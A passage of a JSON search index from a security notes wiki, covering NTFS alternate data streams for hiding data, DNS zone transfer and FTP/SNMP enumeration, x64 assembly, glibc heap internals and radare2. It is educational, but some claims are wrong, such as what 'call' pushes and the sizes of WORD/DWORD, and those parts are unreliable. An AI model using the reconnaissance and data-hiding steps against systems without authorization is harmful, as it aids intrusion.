BIND servers with CHAOS","id":"26","title":"Enumerating BIND servers with CHAOS"},"260":{"body":"NTFS allows for every user/group to have its own set of permissions on every file and folder in the file system tree. The following six types of permissions can be set: Permission On Files On Folders Read View or access the file's contents. View and list files and subfolders. Write Write to the file. Add files or subfolders. Read & Execute View or access the file's contents as well as execute the file. View and list files and subfolders as well as execute files. Inherited by both files and folders. List Folder Contents N/A View and list files and subfolders as well as execute files. Inherited only by folders. Modify Read and write to the file, or delete it. Read and write to files and subfolders, or delete the folder. Full Control Read, write, change or delete the file. Read, write, change or delete files and subfolders.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Permissions","id":"260","title":"Permissions"},"261":{"body":"Permissions can be inspected from the command line by running icacls The last set of () for each user/group tell you the permissions: F - Full Control M - Modify RX - Read & Execute R - Read W - Write Additionally, the permissions on a file/folder can be inspected by right-clicking on the item in Windows Explorer, following Properties->Security and then selecting the user/group you want to see the permissions for.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Inspecting Permissions","id":"261","title":"Inspecting Permissions"},"262":{"body":"A not very well-known, yet interesting feature of NTFS are the so-called Alternate Data Streams. These were implemented for better Macintosh file support, but they can lead to security vulnerabilities and ways to hide data. A data stream can be thought of as a file within another file. Each stream has its own allocated disk space, size and file locks. Moreover, alternate data streams are invisible to Windows Explorer which makes them an easy way to hide data within legitimately looking files. Every file in NTFS has at least one default data stream where its data is stored. The default data stream is innominate and any stream which does have a name is considered an alternate data stream.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Alternate Data Streams (ADS)","id":"262","title":"Alternate Data Streams (ADS)"},"263":{"body":"ADSs cannot be manipulated via Windows Explorer and so the command-line is needed. File operations with alternate data streams on the command-line work the same, but you will need to use the : format to refer to the stream you want to manipulate. For example, echo hello > file.txt\necho secret > file.txt:hidden Windows Explorer is completely oblivious to the alternate data stream. The command-line, however, is not: Additionally, the dir /R command can be used to list alternate data streams for files in a directory: A more sophisticated tool for managing ADSs, called Streams comes with the SysInternals suite. It can be used with the -s option to recursively show all streams for the files in a directory: The number next to the stream name is the size of the data stored in the stream. Streams can also be used to delete all streams from a file with the -d option:","breadcrumbs":"System Internals ยป Windows ยป File System ยป Working with ADSs","id":"263","title":"Working with ADSs"},"264":{"body":"","breadcrumbs":"Reverse Engineering ยป Reverse Engineering","id":"264","title":"Reverse Engineering"},"265":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Program Anatomy","id":"265","title":"Program Anatomy"},"266":{"body":"The stack is a place in memory. It's a Last-In-First-Out (LIFO) data structure, meaning that the last element to be added will be the first to get removed. Each process has access to its own stack which isn't bigger than a few megabytes. Adding data to the stack is called pushing onto the stack, whilst removing data is called popping off the stack. Although the location of the added or removed data is fixed (it's always to or from the top of the stack), existing data can still be read or written to arbitrarily. A special register is used for keeping track of the top of the stack - the stack pointer or rsp. When pushing data, the stack pointer diminishes , and when removing data, the stack pointer augments . This is because the stack grows from higher to lower memory addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป The Stack","id":"266","title":"The Stack"},"267":{"body":"When a function is invoked, a stack frame is constructed. First, the function's arguments which do not fit into the registers are pushed on the stack, then the return address is also pushed. Following this, the value of a special register known as the base pointer (rbp) is saved onto the stack and the value inside the register is then updated to point to the location on the stack where we saved the base pointer. From then on, the stack pointer is used for allocating local data inside the function and the base pointer is used for accessing this data. long func(long a, long b, long c, long d, long e, long f, long g, long h)\n{ long x = a * b * c * d * e * f * g * h; long y = a + b + c + d + e + f + g + h; long z = otherFunc(x, y); return z + 20;\n} Sometimes, the base pointer might be completely absent in optimised programs because compilers are good enough in keeping track of offsets directly from the stack pointer.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป Stack Frames","id":"267","title":"Stack Frames"},"268":{"body":"Each program is comprised of a set of instructions which tell the CPU what operations it needs to perform. Different CPU architectures make use of different instruction sets, however, all of them boil down to two things - an opertation code (opcode) and optional data that the instruction operates with. These are all represented using bits - 1s and 0s.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป Instructions","id":"268","title":"Instructions"},"269":{"body":"Moves the value inside one register to another: mov rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป mov","id":"269","title":"mov"},"27":{"body":"A Zone transfer request provides the means for copying a DNS zone file from one name server to another. This, however, only works over TCP. By doing this, you can obtain all the records of a DNS server for a particular zone. This is done through the AXFR request type: dig @ AXFR โ”Œโ”€โ”€(cr0mll0@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 AXFR nsa.gov ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 AXFR nsa.gov\n; (1 server found)\n;; global options: +cmd\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\nnsa.gov. 3600 IN NS ns1.nsa.gov.\nnsa.gov. 3600 IN NS ns2.nsa.gov.\nnsa.gov. 3600 IN MX 10 mail1.nsa.gov.\nnsa.gov. 3600 IN MX 20 mail2.nsa.gov.\nfedora.nsa.gov. 3600 IN TXT \"The black sparrow password\"\nfedora.nsa.gov. 3600 IN AAAA fd7f:bad6:99f2::1337\nfedora.nsa.gov. 3600 IN A 10.1.0.80\nfirewall.nsa.gov. 3600 IN A 10.1.0.105\nfw.nsa.gov. 3600 IN A 10.1.0.102\nmail1.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.25 ~all\"\nmail1.nsa.gov. 3600 IN A 10.1.0.25\nmail2.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.26 ~all\"\nmail2.nsa.gov. 3600 IN A 10.1.0.26\nns1.nsa.gov. 3600 IN A 10.1.0.50\nns2.nsa.gov. 3600 IN A 10.1.0.51\nprism.nsa.gov. 3600 IN A 172.16.40.1\nprism6.nsa.gov. 3600 IN AAAA ::1\nsigint.nsa.gov. 3600 IN A 10.1.0.101\nsnowden.nsa.gov. 3600 IN A 172.16.40.1\nvpn.nsa.gov. 3600 IN A 10.1.0.103\nweb.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nwebmail.nsa.gov. 3600 IN A 10.1.0.104\nwww.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nxkeyscore.nsa.gov. 3600 IN TXT \"knock twice to enter\"\nxkeyscore.nsa.gov. 3600 IN A 10.1.0.100\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\n;; Query time: 4 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Fri Sep 17 22:38:47 EEST 2021\n;; XFR size: 27 records (messages 1, bytes 709)","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป DNS Zone Transfer","id":"27","title":"DNS Zone Transfer"},"270":{"body":"Load effective address - this instruction calculates the address of its second operand and moves it into its first operand: lea rdx, [rax+0x10] This will move rax+0x10 inside rdx.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป lea","id":"270","title":"lea"},"271":{"body":"This instruction adds its operands and stores the result in its first operand: add rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป add","id":"271","title":"add"},"272":{"body":"This instruction subtracts the second operand from the first and stores the result in its first operand sub rax, 0x9","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป sub","id":"272","title":"sub"},"273":{"body":"It performs XOR-ing on its operands and stores the results into the first operand: xor rdx, rax The and and or are the same, but instead perform a binary AND and a binary OR operation, respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป xor","id":"273","title":"xor"},"274":{"body":"Decreases the stack pointer (grows the stack) by 8 (4 on x86) bytes and stores the contents of its operand on the stack: push rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป push","id":"274","title":"push"},"275":{"body":"Increases the stack pointer (shrinks the stack) by 8 (4 on x86) bytes and stores the popped value from the stack into its operand: pop rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป pop","id":"275","title":"pop"},"276":{"body":"Jumps to the address specified - used for redirecting code execution: jmp 0x6A2B10","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jmp","id":"276","title":"jmp"},"277":{"body":"Used for invoking procedures. It first pushes the values of the base and stack pointers onto the stack and then jumps to the specified address. After the function is finished, a ret instruction is issued which restores the values of the stack and base pointers from the stack and continues execution from where it left off.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป call","id":"277","title":"call"},"278":{"body":"It compares the value of its two operands and sets the according flags depending on the result: cmp rax, rdx If rax < rdx, the zero flag is set to 0 and the carry flag is set to 1. If rax > rdx, the zero flag is set to 0 and the carry flag is set to 0. If rax = rdx, the zero flag is set to 1 and the carry flag is set to 0.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป cmp","id":"278","title":"cmp"},"279":{"body":"jump-if-zero and jump-if-not-zero execute depending on the state of the zero flag.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jz / jnz","id":"279","title":"jz / jnz"},"28":{"body":"The File Transfer Protocol (FTP) is a common protocol which you may find during a penetration test. It is a TCP-based protocol and runs on port 21. Luckily, its enumeration is simple and rather straight-forward. You can use the ftp command if you have credentials: ftp You can then proceed with typical navigation commands like dir, cd, pwd, get and send to navigate and interact with the remote file system. If you don't have credentials you can try with the usernames guest, anonymous, or ftp and an empty password in order to test for anonymous login.","breadcrumbs":"Reconnaissance ยป Enumeration ยป FTP Enumeration (21) ยป Introduction","id":"28","title":"Introduction"},"280":{"body":"The heap is a memory region which allows for dynamic allocation. Memory on the heap is allotted at runtime and programs are permitted to freely request additional heap memory whenever it is required. It is the program's job to request and relieve any heap memory only once . Failure to do so can result in undefined behaviour. In C, heap memory is usually allocated through the use of malloc and whenever the program is finished with this data, the free function must be invoked in order to mark the area as available for use by the operating system and/or other programs. Heap memory can also be allocated by using malloc-compatible heap functions like calloc, realloc and memalign or in C++ using the corresponding new and new[] operators as well as their deallocation counterparts delete and delete[].","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The Heap","id":"280","title":"The Heap"},"281":{"body":"Do not read or write to a pointer returned by malloc after that pointer has been passed to free. -> Can lead to use after free vulnerabilities. Do not use or leak uninitialised information in a heap allocation. -> Can lead to information leaks or uninitialised data vulnerabilities. Do not read or write bytes after the end of an allocation. -> Can lead to heap overflow and read beyond bounds vulnerabilities. Do not pass a pointer that originated from malloc to free more than once. -> Can lead to double delete vulnerabilities. Do not write bytes before the beginning of the allocation. -> Can lead to heap underflow vulnerabilities. Do not pass a pointer that did not originate from malloc to free. -> Can lead to invalid free vulnerabilities. Do not use a pointer returned by malloc before checking if the function returned NULL. -> Can lead to null-dereference bugs and sometimes arbitrary write vulnerabilities. The implementation of the heap is platform specific.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Heap Rules","id":"281","title":"Heap Rules"},"282":{"body":"The heap grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The GLIBC Heap","id":"282","title":"The GLIBC Heap"},"283":{"body":"The heap manager allocates resources in the so-called chunks . These chunks are stored adjacent to each other and must be 8-byte aligned or 16-byte aligned on 32-bit and 64-bit systems respectively. In addition to this padding, each chunks contains metadata which provides information about the chunk itself. Consequently, issuing a request for memory allocation on the heap actually allocates more bytes than originally requested. It is important to distinguish between in-use chunks and free (or previously allocated) chunks, since they have disparate memory layouts. The following diagram outlines a chunk that is in use: The size field contains the chunk size in bytes. The following three bits carry specific meaning: A (0x04) - Allocated arena. If this bit is 0, the chunk comes from the main arena and the main heap. If this bit is 1, the chunk comes from mmap'd memory and the location of the heap can be computed from the chunk's address. M (0x02) - If this bit is set, then the chunk was mmap-ed and isn't part of a heap. Typically used for large allocations. P (0x01) - If this bit is set, then the previous chunk should not be considered for coalescing and the mchunkptr points to a previous chunk still in use A free chunk looks a bit different: The size and AMP fields carry on the same meaning as those in chunks that are in use. Free chunks are organised in linked or doubly linked lists called bins . The fwd and bck pointers are utilised in the implementation of those linked lists. Different types of bins exist for different purposes. The top of the heap is by convention called the top chunk .","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Chunks","id":"283","title":"Chunks"},"284":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Memory Allocation on the Heap","id":"284","title":"Memory Allocation on the Heap"},"285":{"body":"When an application requests heap memory, the heap manager traverses the bins in search of a free chunk that is large enough to service the request. If such a chunk is found, it is removed from the bin, turned into an in-use chunk and then a pointer is returned to the user data section of the chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from Free Chunks","id":"285","title":"Allocating from Free Chunks"},"286":{"body":"If no free chunk is found that can service the request, the heap manager must construct an entirely new chunk at the top of heap. To achieve this, it first needs to ascertain whether there is enough space at the top of the heap to hold the new chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from the Top Chunk","id":"286","title":"Allocating from the Top Chunk"},"287":{"body":"Once the free space at the top of the heap is used up, the heap manager will have to ask the kernel for additional memory. On the initial heap, the heap manager asks the kernel to allocate more memory at the end of the heap by calling sbrk.On most Linux-based systems this function internally uses a system call called brk. Eventuall, the heap will grow to its maximum size, since expanding it any further would cause it to intrude on other sections of the process' address space. In this case, the heap manager will resort to using mmap to map new memory for heap expansions. If mmap also fails, then the process is unable to allocate more memory and malloc returns NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Requesting Additional Memory at the Top of the Heap from the Kernel","id":"287","title":"Requesting Additional Memory at the Top of the Heap from the Kernel"},"288":{"body":"Large chunks get treated differently in their allocation. These are allocated off-heap through the direct use of mmap calls and this is reflected in the chunk's metadata by setting the M bit to 1. When such allocations are later returned to the heap manager via a call to free, the heap manager releases the entire mmap-ed region back to the system via munmap. Different platforms have different default thresholds for what counts as a large chunk and what doesn't.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating Large Chunks","id":"288","title":"Allocating Large Chunks"},"289":{"body":"Multithreaded applications require that internal data structures on the heap are protected from race conditions. In the past, the heap manager availed itself of a global mutex before every heap operation, however, significant performance issues arose as a result. Consequently, the concept of \"arenas\" was introduced. Each arena consists of a separate heap which manages its own chunk allocation and bins. Although each arena still utilises a mutex for its internal operations, different threads can make use of different arenas to avoid having to wait for each other. The initial (main) arena consists of a single heap and for single-threaded applications it is all there ever will exist. However, as more threads are spawned, new arenas are allocated and attached to them. Once all available arenas are being utilised by threads, the heap manager will commence creating new ones until a limit - 2 * Number of CPU cores for 32-bit and 8 * Number of CPU cores for 64-bit processes - is reached. Afterwards, multiple threads will be forced to share the same arena.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Arenas","id":"289","title":"Arenas"},"29":{"body":"You will need working knowledge of SNMP in order to follow through.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Introduction","id":"29","title":"Introduction"},"290":{"body":"Free chunks are organised in the so-called bins which are essentially linked lists. For performance reasons different types of bins exist. There are 62 small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. The last two appeared later and are built on top of the first three. Pointers to the small, large, and unsorted bins are stored in the same array in the heap manager: BIN[0] -> invalid (unused)\nBIN[1] -> unsorted bin\nBIN[2] to BIN[63] -> small bins\nBIN[64] to BIN[126] -> large bins","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Bins","id":"290","title":"Bins"},"291":{"body":"There are 62 small bins and each of them stores chunks of a fixed size. Each chunk with a size less than 512 bytes on 32-bit systems and 1024 bytes on 64-bit systems has a corresponding small bin. Small bins are sorted by default due to the fixed size of their elements and Insertion and removal of entries on these bins is incredibly fast.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Small Bins","id":"291","title":"Small Bins"},"292":{"body":"There are 63 large bins and they resemble small bins in their operation but store chunks of different sizes. Consequently, insertions and removal of entries on these lists is slower, since the entire bin has to be traversed in order to find a suitable chunk. There is a different number of bins allocated for specific chunk size ranges. The size of the chunk size range begins at 64 bytes - there are 32 bins all of which shift the range of chunk sizes they store by 64 from the previous bin. Following are 16 bins which shift the range by 512 bytes and so on. In essence: Bin 1 -> stores chunks of sizes 512 - 568 bytes; Bin 2 -> stores chunks of sizes 576 - 632 bytes; ... There are: Number of Bins Spacing between Bins 32 64 16 512 8 4096 4 32768 2 262144 1 Remaining chunk sizes","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Large Bins","id":"292","title":"Large Bins"},"293":{"body":"There is a single unsorted bin. Chunks from small and large bins end up directly in this bin after they are freed. The point of the unsorted bin is to speed up allocations by serving a sort of cache. When malloc is invoked, it will first traverse this bin and see if it can immediately service the request. If not, it will move onto the small or large bins respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Unsorted Bins","id":"293","title":"Unsorted Bins"},"294":{"body":"Fast bins provide a further optimisation layer. Recently released small chunks are put in fast bins and are not initially merged with their neighbours. This allows for them to be repurposed forthwith, should a malloc request for that chunk size come very soon after the chunk's release. There are 10 fast bins, covering chunks of size 16, 24, 32, 40, 48, 56, 64, 72, 80, and 88 bytes plus chunk metadata. Fast bins are implemented as singly linked lists and insertions and removals of entries in them are really fast. Periodically, the heap manager consolidates the heap - chunks in the fast bins are merged with the abutting chunks and inserted into the unsorted bin. This consolidation occurs when a malloc request is issued for a size that is larger than a fast bin can serve (chunks over 512 bytes on 32-bit systems and over 1024 bytes on 64-bit systems), when freeing a chunk larger than 64KB or when malloc_trim or mallopt is invoked.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Fast Bins","id":"294","title":"Fast Bins"},"295":{"body":"A new caching mechanism called tcache (thread local caching) was introduced in glibc version 2.26 back in 2017. The tcache stores bins of fixed size small chunks as singly linked lists. Similarly to a fast bin, chunks in tcache bins aren't merged with adjoining chunks. By default, there are 64 tcache bins, each containing a maximum of 7 same-sized chunks. The possible chunk sizes range from 12 to 516 bytes on 32-bit systems and from 24 to 1032 bytes on 64-bit systems. When a chunk is freed, the heap manager checks if the chunk fits into a tcache bin corresponding to that chunk size. If the tcache bin for this size is full or the chunk is simply too big to fit into a tcache bin, the heap manager obtains a lock on the arena and proceeds to comb through other bins in order to find a suitable one for the chunk. When malloc needs to service a request, it first checks the tcache for a chunk of the requested size that is available and should such a chunk be found, malloc will return it without ever having to obtain a lock. If the chunk too big, malloc continues as before. A slightly different strategy is employed if the requested chunk size does have a corresponding tcache bin, but that bin is simply full. In that case, malloc obtains a lock and promotes as many heap chunks of the requested size to tcache chunks, up to the tcache bin limit of 7. Subsequently, the last matching chunk is returned.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป TCache Bins","id":"295","title":"TCache Bins"},"296":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป malloc and free","id":"296","title":"malloc and free"},"297":{"body":"First, every allocation exists as a memory chunk which is aligned and contains metadata as well as the region the programmer wants. When a programmer requests memory from the heap, the heap manager first works out what chunk size the allocation request corresponds to, and then searches for the memory in the following order: If the size corresponds with a tcache bin and there is a tcache chunk available, return that immediately. If the request is huge, allocate a chunk off-heap via mmap. Otherwise obtain the arena heap lock and then perform the following steps, in order: Try the fastbin/smallbin recycling strategy If a corresponding fast bin exists, try and find a chunk from there (and also opportunistically prefill the tcache with entries from the fast bin). Otherwise, if a corresponding small bin exists, allocate from there (opportunistically prefilling the tcache as we go). Resolve all the deferred frees - Otherwise merge the entries in the fast bins and move their consolidated chunks to the unsorted bin. - Go through each entry in the unsorted bin. If it is suitable, return it. Otherwise, put the unsorted entry on its corresponding small/large bin as we go (possibly promoting small entries to the tcache). Default back to the basic recycling strategy If the chunk size corresponds with a large bin, search the corresponding large bin now. Create a new chunk from scratch Otherwise, there are no chunks available, so try and get a chunk from the top of the heap. If the top of the heap is not big enough, extend it using sbrk. If the top of the heap canโ€™t be extended because we ran into something else in the address space, create a discontinuous extension using mmap and allocate from there If all else fails, return NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocation","id":"297","title":"Allocation"},"298":{"body":"If the pointer is NULL, do nothing. Otherwise, convert the pointer back to a chunk by subtracting the size of the chunk metadata. Perform a few sanity checks on the chunk, and abort if the sanity checks fail. If the chunk fits into a tcache bin, store it there. If the chunk has the M bit set, give it back to the operating system via munmap. Otherwise we obtain the arena heap lock and then: If the chunk fits into a fastbin, put it on the corresponding fastbin. If the chunk size is greater than 64KB, consolidate the fastbins immediately and put the resulting merged chunks on the unsorted bin. Merge the chunk backwards and forwards with neighboring freed chunks in the small, large, and unsorted bins. If the resulting chunk lies at the top of the heap, merge it into the top chunk. Otherwise store it in the unsorted bin.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Deallocation","id":"298","title":"Deallocation"},"299":{"body":"Registers are value containers which reside on the CPU and not in RAM. They are small in size and some have special purposes. You may store both addresses and values in registers and depending on the instruction used the data inside will be interpreted in a different way - this is commonly called an addressing mode . In x86 Intel assembly (i386), the registers are 32 bits (4 bytes) in size and some of them are reserved: ebp - the base pointer, points to the bottom of the current stack frame esp - the stack pointer, points to the top of the current stack frame eip - the instruction pointer, points to the next instruction to be executed The other registers are general purpose registers and can be used for anything you like: eax, ebx, ecx, edx, esi, edi. x64 AMD assembly (amd64) extends these 32-bit registers to 64-bit ones and denotes these new versions by replacing the initial e with an r: rbp, rsp, rip, rax, ... It is important to note that these are not different registers - eax and rax refer to the same space on the CPU, however, eax only provides access to the lower 32 bits of the 64-bit register. You can also get access to the lower 16 and 8 bits of the register using different names: 8 Byte Register Lower 4 Bytes Lower 2 Bytes Lower Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, you cannot access the lower 16 or 8 bits of the instruction pointer. You might sometimes see WORD or DWORD being used in a similar context - WORD means 4 bytes and DWORD means 8 bytes.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Registers","id":"299","title":"Registers"},"3":{"body":"Any major changes outside of the eight category folders in the Notes/ directory are not permitted and will be rejected.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป Out-of-Scope","id":"3","title":"Out-of-Scope"},"30":{"body":"snmp-check is a simple utility for basic SNMP enumeration. You only need to provide it with the IP address to enumerate: snmp-check [IP] Furthermore, you have the following command-line options: -p: Change the port to enumerate. Default is 161. -c: Change the community string to use. Default is public -v: Change the SNMP version to use. Default is v1. There are additional arguments that can be provided but these are the salient ones.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmp-check","id":"30","title":"SNMP Enumeration using snmp-check"},"300":{"body":"Under x64 Linux, function arguments are passed via registers: rdi: First Argument\nrsi: Second Argument\nrdx: Third Argument\nrcx: Fourth Argument\nr8: Fifth Argument\nr9: Sixth Argument The return value is store in rax (eax on 32-bit machines).","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Use in x64 Linux","id":"300","title":"Register Use in x64 Linux"},"301":{"body":"Register dereferencing occurs when the value of the register is treated as an address to the actual data to be used, rather than the data itself. This means that addressed can be stored in registers and used later - this is useful when dealing with large data sizes. For example, mov rax, [rdx] Will check the value inside rdx and treat it as an address - it will go to the location where this address points and get its data from there. It will then move this data into rax. If we hadn't used [], it would have treated the address in rdx simply as a value and moved it directly into rax.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Dereferencing","id":"301","title":"Register Dereferencing"},"302":{"body":"Ghidra is an open-source framework for reverse engineering developed by the NSA. It groups binaries into projects which can be shared amonst multiple people.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Introduction","id":"302","title":"Introduction"},"303":{"body":"To install Ghidra, you can run sudo apt install ghidra.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Installation","id":"303","title":"Installation"},"304":{"body":"File -> New Project Non-Shared Project Select Directory Name the Project","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Creating a Project","id":"304","title":"Creating a Project"},"305":{"body":"File -> Import File Select the binary you want to import Ghidra will automatically detect certain information about the file After importing, Ghidra will display an Import Results Summary containing information about the binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Loading a Binary","id":"305","title":"Loading a Binary"},"306":{"body":"Double-clicking on a program will open it in the Code Browser. A prompt will appear for analysing the binary. Ghidra will attempt to create and label functions, as well as identify any cross-references in memory. Once the binary has been analysed you will be presented with the following screen:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Initial Analysis ยป Initial Analysis","id":"306","title":"Initial Analysis"},"307":{"body":"radare2 is an open-source framework for reverse engineering. The framework includes multiple tools which all work in tandem in order to aid in the analysis of binary files. It uses short abbreviations for its commands - single letters - and many of its commands have subcommands which are also expressed as single letters. Luckily, you can always append a ? to a specific command in order to view its subcommands and what they do. To quit radare2, use the q command.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Introduction","id":"307","title":"Introduction"},"308":{"body":"You can load a binary by invoking the r2 command. You might sometimes need to also add the -e io.cache=true option in order to fix relocations in disassembly.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Loading a Binary","id":"308","title":"Loading a Binary"},"309":{"body":"aaa - analyse the binary afl - list the analysed functions axt - list all the places where a function is called. Note, you need to use the flag name that redare automatically creates for funtions after aaa.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Analysis ยป Analysis","id":"309","title":"Analysis"},"31":{"body":"snmpwalk is a much more versatile tool for SNMP enumeration. It's syntax is mostly the same as snmp-check:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmpwalk","id":"31","title":"SNMP Enumeration using snmpwalk"},"310":{"body":"/ - search the bytes of the binary for a specific string /w - search for wide character strings like Unicode symbols","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Strings ยป Strings","id":"310","title":"Strings"},"311":{"body":"i - display file information ie - find the program's entry point iM - find the program's main function iz - pull the hard-coded strings from the executable (only the data sections), use izz to get the strings from the entire binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Binary Info ยป Binary Info","id":"311","title":"Binary Info"},"312":{"body":"Flags resemble bookmarks. They associate a name with a given offset in a file. Create a new flag f @ offset You can also remove a flag by appending - to the command: f- List available flags - f: Rename a flag fr ","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flags","id":"312","title":"Flags"},"313":{"body":"Flag names should be unique for addressing reasons. However, it is often the case that you need to have simple and ubiquitous names like loop or return. For this purpose exist the so-called \"local\" flags, which are tied to the function where they reside. It is possible to add them using f. command:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Local Flags","id":"313","title":"Local Flags"},"314":{"body":"Flags can be grouped into flag spaces - is a namespace for flags, grouping together similar flags. Some flag spaces include sections, registers, symbols. These are managed with the fs command. [0x00001080]> fs?\nUsage: fs [*] [+-][flagspace|addr] # Manage flagspaces\n| fs display flagspaces\n| fs* display flagspaces as r2 commands\n| fsj display flagspaces in JSON\n| fs * select all flagspaces\n| fs flagspace select flagspace or create if it doesn't exist\n| fs-flagspace remove flagspace\n| fs-* remove all flagspaces\n| fs+foo push previous flagspace and set\n| fs- pop to the previous flagspace\n| fs-. remove the current flagspace\n| fsq list flagspaces in quiet mode\n| fsm [addr] move flags at given address to the current flagspace\n| fss display flagspaces stack\n| fss* display flagspaces stack in r2 commands\n| fssj display flagspaces stack in JSON\n| fsr newname rename selected flagspace","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flag Spaces","id":"314","title":"Flag Spaces"},"315":{"body":"Moving around the file requires the usage of the seek (s) command in order to change the offset at which we are. It takes one argument which is a mathematical expression capable of containing flag names, parenthesis, addition, substraction, multiplication of immediates of contents of memory using brackets. Examples: [0x00000000]> s 0x10\n[0x00000010]> s+4\n[0x00000014]> s-\n[0x00000010]> s+\n[0x00000014]> Here is a list of additional seeking commands: [0x00000000]> s?\nUsage: s # Help for the seek commands. See ?$? to see all variables\n| s Print current address\n| s.hexoff Seek honoring a base from core->offset\n| s:pad Print current address with N padded zeros (defaults to 8)\n| s addr Seek to address\n| s- Undo seek\n| s-* Reset undo seek history\n| s- n Seek n bytes backward\n| s--[n] Seek blocksize bytes backward (/=n)\n| s+ Redo seek\n| s+ n Seek n bytes forward\n| s++[n] Seek blocksize bytes forward (/=n)\n| s[j*=!] List undo seek history (JSON, =list, *r2, !=names, s==)\n| s/ DATA Search for next occurrence of 'DATA'\n| s/x 9091 Search for next occurrence of \\x90\\x91\n| sa [[+-]a] [asz] Seek asz (or bsize) aligned to addr\n| sb Seek aligned to bb start\n| sC[?] string Seek to comment matching given string\n| sf Seek to next function (f->addr+f->size)\n| sf function Seek to address of specified function\n| sf. Seek to the beginning of current function\n| sg/sG Seek begin (sg) or end (sG) of section or file\n| sl[?] [+-]line Seek to line\n| sn/sp ([nkey]) Seek to next/prev location, as specified by 